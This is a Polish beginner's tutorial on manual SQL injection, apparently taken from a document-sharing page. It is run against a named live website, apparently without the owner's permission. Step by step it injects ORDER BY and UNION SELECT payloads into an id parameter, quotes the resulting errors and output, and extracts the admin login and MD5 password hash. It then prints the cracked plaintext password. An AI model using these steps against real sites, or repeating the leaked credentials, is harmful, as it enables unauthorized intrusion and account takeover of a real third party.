SQL Injection dla amatorów

background image

Powiecie pewnie że tutoriali tego typu jest w necie tysiące. Macie racje,
jednak wszystkie podają suche przykłady a ja pokaże wam, dzięki uprzejmości JanuszChrystus,
działanie na konkretnej istniejącej stronie na co w innych tutorialach nie można liczyć.
Tutorial jest przeznaczony dla najbardziej początkujących. Pozwala przejść całą ścieżkę SQLi i
poćwiczyć różne kombinacje. Ma na celu poznanie podstaw działania rozpocząć zbieranie wiedzy
by uniknąć w przyszłości pytań "kliknąłem w mój H@x0r tool SQLi i nie działa..."
SQL Injection (dosłownie wstrzykiwanie zapytań SQL) to dziura w zabezpieczeniu kodu programu
polegająca na braku całości lub części filtrowania danych przesyłanych w postaci zapytań SQL do
bazy danych. Najczęściej występuje w systemach składających się ze skryptu/programu
(przykładowo PHP) generującego zapytanie do bazy danych (MySQL, PostgreSQL itp.) na
podstawie podanych przez użytkownika danych. Podobno luka SQLi to brak wiedzy i
doświadczenia autora danego kodu.
Dziś weźmiemy na warsztat nic nie znaczącą stronkę

http://szykielegancja.hord.pl/

która to stronka ma jedną zaletę - wciąż ma lukę i pewnie będzie ją miała długo co pozwoli nam
potrenować działanie SQLi w praktyce.
Wszystkie poniższe działania robimy ręcznie w celach edukacyjnych pamiętając o zabezpieczeniu
własnych 4 liter.
1. Szukamy podatnego elementu.
Spokojnie klikamy sobie na stronie - nie jest ogromnie rozbudowana i patrzymy co pokazuje się
pod postacią linków oraz w adresie.
Interesują nas na początek opcje gdzie kod strony wysyła zapytania parametryczne do bazy SQL.
Np.

http://szykielegancja.hord.pl/index.php?costam=parametr

Pierwszy z brzegu przykład:

http://szykielegancja.hord.pl/index.php?id=404

Widoczna część strony generowana jest na podstawie informacji zawartych w bazie SQL. Skrypt
wyświetla nam zawartość wg jednego kryterium - parametru id o wartości w tym wypadku 404.
Zmieniając parametr na kolejne wartości zauważyć możemy iż zmieniając go na np 405 otrzymamy
kolejną podstronę:

http://szykielegancja.hord.pl/index.php?id=405

Teraz sprawdzamy podatność - czy autor strony wykonał należycie filtrowanie wartości przed
przekazaniem jej do zapytania SQL.
Zamiast 405 wpiszemy sobie coś innego np. -9999 lub ' lub " lub 5804395840 i patrzymy co się
stanie.

http://szykielegancja.hord.pl/index.php?id=-9999

i od razu posypały się błędy:

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result
resource in /var/www/vhosts/szykielegancja.hord.pl/httpdocs/index_txt.php on

line 27

Warning: mysql_num_rows(): supplied argument is not a valid MySQL result
resource in /var/www/vhosts/szykielegancja.hord.pl/httpdocs/index_txt.php on

line 28

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result
resource in /var/www/vhosts/szykielegancja.hord.pl/httpdocs/index_txt.php on

line 33

Warning: mysql_num_rows(): supplied argument is not a valid MySQL result

background image

resource in /var/www/vhosts/szykielegancja.hord.pl/httpdocs/index_txt.php on
line 34

Najwyraźniej nasz programista nie był zbyt staranny lub po prostu dopiero się uczy.
Sprawdźmy teraz ile tabel liczy sobie nasza baza. W tym celu posłużymy się komendą order by
podając prawidłową wartość id (np. 405).
Można zamienię używać union ale order by ma ta zaletę że dopiero wystąpienie błędu wskaże nam
ilość tabel.

http://szykielegancja.hord.pl/index.php … der+by+2--

strona wczytała się jak gdyby nigdy nic, więc spokojnie zwiększamy parametr.

http://szykielegancja.hord.pl/index.php … der+by+3--

dalej nic, więc kolejno 4,5,6,7,.... i nagle przy wartości 16 mamy znów nasz błąd:

http://szykielegancja.hord.pl/index.php … er+by+16--

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result

resource in /var/www/vhosts/szykielegancja.hord.pl/httpdocs/index_txt.php on
line 13

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result

resource in /var/www/vhosts/szykielegancja.hord.pl/httpdocs/index_txt.php on
line 27

Warning: mysql_num_rows(): supplied argument is not a valid MySQL result

resource in /var/www/vhosts/szykielegancja.hord.pl/httpdocs/index_txt.php on
line 28

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result

resource in /var/www/vhosts/szykielegancja.hord.pl/httpdocs/index_txt.php on
line 33

Warning: mysql_num_rows(): supplied argument is not a valid MySQL result

resource in /var/www/vhosts/szykielegancja.hord.pl/httpdocs/index_txt.php on
line 34

Wystąpienie błędu przy wartości 16 wskazuje nam iż w bazie jest 15 tabel.
Teraz musimy odnaleźć kolumnę do której będziemy wprowadzać nasze "zastrzyki".
Zrobimy to za pomocą komendy union select.
Jako parametr id podajemy dowolną wartość błędną np. użyte poprzednio -9999.

http://szykielegancja.hord.pl/index.php … 13,14,15--

Strona oprócz stałej treści zamiast oczekiwanego obrazka czy błędu zwróciła nam numery
podatnych kolumn: 3 i 8.
Zobaczmy teraz z jaką bazą mamy do czynienia. W tym celu zamiast "3" wpiszemy sobie komendę
Version()

http://szykielegancja.hord.pl/index.php … 13,14,15--

Strona oświadcza nam iż wersja bazy to 5.1.59. To dobra wiadomość bo począwszy od wersji 5 nie
trzeba zgadywać nazw komun i tablic.
Ale ponieważ tu chodzi o ćwiczenie pójdziemy starą, trudniejszą drogą działającą też w starszych
wersjach baz - zgadujemy.
Musimy odnaleźć nazwę tablicy gdzie trzymane są interesujące nas dane - login i hasło admina.
Najczęściej występujące nazwy to Users, User, Uzytkownik, Accounts
Sprawdźmy po kolei najpierw users:

background image

http://szykielegancja.hord.pl/index.php … %20users--

wywala błąd, następnie user

http://szykielegancja.hord.pl/index.php … m%20user--

wyskoczyły znajome cyferki 3 i 8. Oznacza to że zapytanie wykonało się bez błędu - istnieje tablica
user.
Teraz czas poszukać nazw kolumn w tablicy. W zasadzie interesują nas tylko 2 - użytkownik i
hasło.
Mogą nazywać się: username, name, user, login, id itp. zaś te od hasła: password, pass, hasło, secret
itp.
Sprawdźmy najpierw jak nazywa się kolumna zawierająca username admina, w tym celu zamiast 3
wpiszemy sobie oczekiwaną nazwę, zacznijmy od username:

http://szykielegancja.hord.pl/index.php … m%20user--

niestety bład, teraz name

http://szykielegancja.hord.pl/index.php … m%20user--

tak samo, kolejno błąd przy user, ale przy login:

http://szykielegancja.hord.pl/index.php … m%20user--

strona zwróciła nam "szyk"
wiemy już że dane admina są w tablicy user, username jest w kolumnie login i nazywa się "szyk"
brakuje nam tylko hasła.
Poszukajmy więc kolumny z hasłem. Zaczynamy od najprostszego password.

http://szykielegancja.hord.pl/index.php … m%20user--

i pudło, teraz pass:

http://szykielegancja.hord.pl/index.php … m%20user--

i jest: 0cd954ec409815c10b16815a3d189d3f
Hasło zabezpieczone jest md5, musimy je teraz tylko złamać.
W tym celu najpierw wrzucamy je w pierwszy z brzegu dekoder online:

http://md5.my-addr.com/md5_decrypt-md5_ … r_tool.php

I tym razem mamy szczęście bo hasło wyskakuje od razu: elegantka
Cel osiągnięty - dysponujemy już nazwą i hasłem admina cms.

TuT z PBM by c0untzero

Email:tonypl@riseup.net


Wyszukiwarka

Podobne podstrony:
Fotografia ślubna dla amatorów wybór sprzętu
Podręcznik sorrento i mozaiki dla amatorów 1876
88 Nw 03 Profesjonalisci dla amatorow
Szachy dla amatorow Rozne pytania
SQL Injection
Inzynieria sql injection
Fotografia ślubna dla amatorów wybór sprzętu
Podręcznik sorrento i mozaiki dla amatorów 1876
ASP Nuke Sql Injection Vulnerability
Szachy dla amatorow Problemy szachistow
Easy Method Blind SQL Injection
Szachy dla amatorow zakonczenie
JE CMS 1 0 0 Bypass Authentication by SQL Injection Vulnerability
88 Nw 03 Profesjonalisci dla amatorow
Test Nikon D5500 dotykowa lustrzanka dla amatora NT w INTERIA PL
eshtery CMS Sql Injection Vulnerability
What is a BLIND SQL Injection

więcej podobnych podstron